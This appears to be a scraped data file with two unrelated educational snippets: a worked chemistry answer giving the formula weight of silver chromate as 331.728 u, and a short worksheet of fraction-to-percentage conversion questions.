[ "# What is the formula weight of silver chromate (Ag_2CrO_4) in amu?\n\nNov 13, 2016\n\nThe formula weight for $\\text{Ag\"_2\"CrO\"_4}$ is $\\text{331.728 u}$.\n\n#### Explanation:\n\nIn order to determine the formula weight of a compound, multiply the atomic weight on the periodic table of each element by its subscript and add the results.\n\nCompound: silver chromate\nFormula Unit: $\\text{Ag\"_2\"CrO\"_4}$\n\n(2xx\"107.868 u Ag\")+(1xx\"51.9961 u Cr\")+(4xx\"15.999 u O\")=\"331.728 u\"" ]
[ null ]
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https://www.developmaths.com/numbers/percentages/questions/ConvFract.php
[ "", null, "", null, "", null, "", null, "### Questions − Converting a Fraction into a Percentage\n\n#### Convert the following into percentages:\n\n1.  17/50 =\n\n2.  18/20 =\n\n3.  400/800 =\n\n4.  140/300 =", null, "back to:", null, "to:", null, "", null, "", null, "" ]
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